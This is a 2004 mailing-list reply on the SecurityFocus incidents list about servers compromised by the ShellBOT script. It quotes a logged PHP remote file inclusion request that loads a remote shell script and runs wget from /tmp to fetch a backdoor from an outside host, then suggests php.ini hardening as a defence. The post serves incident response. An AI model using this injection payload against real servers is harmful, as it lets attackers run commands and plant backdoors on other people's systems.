Re: Systems compromised with ShellBOT perl script - part 2

From: Chris Norton (kicktd_list_at_hotmail.com)
Date: 10/21/04

  • Next message: Paul Schmehl: "Re: Systems compromised with ShellBOT perl script - part 2" 
    To: <incidents@securityfocus.com>
Date: Thu, 21 Oct 2004 11:53:08 -0500

    This sounds like it may be a typical fopen()/include() PHP exploit as this
    seems to be the motive for this group,
    As seen from the very first post:

    > Kirby Angell wrote:
    >
    > Yesterday we noticed a funny looking Apache log entry. It contained:
    >
    >
    >
    http://www.DOMAIN.com/index.php?id=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2

    Where a remote php shell script file is used then the backdoor is uploaded
    onto the server. This can be avoided by
    setting the safe_mode setting in php.ini to on and disabled_functions: to
    include exec, popen, and passthru. 

    --
Chris Norton
UAT Student Software Engineering Network Defense
  • Next message: Paul Schmehl: "Re: Systems compromised with ShellBOT perl script - part 2"

    Relevant Pages

    • Re: help with posting using conditional if
      ... the problem i'm having is that there are multiple fields that ... I wanted to scale down the problem so I just showed one ... just call the form itself as below on the first post. ...
      (alt.php)
    • Re: Stable Mail Server And Web Mail
      ... as i can't find the first post of that post i will answer the question what ... Anyway properly configured spamassassin isn't that bad. ... sqwebmail for webmail. ... What's wrong with PHP? ...
      (freebsd-questions)
    • Re: how to suggest a new function?
      ... Adam Scheinberg wrote: ... This is my first post and I'm wondering if someone can point me in the ... interpreting large arrays. ... If PHP kept adding new ...
      (comp.lang.php)
    • Re: help with posting using conditional if
      ... Perhaps you should set the $form var to the name of the first form you need ... just call the form itself as below on the first post. ...
      (alt.php)
    • PHP -> set_time_limit
      ... suppose the server is vulnerable PHP injection, then an attacker make a backdoor in PHP and register it in SCM of windows with win32service extension. ... continue 1; # goto sessao ...
      (Bugtraq)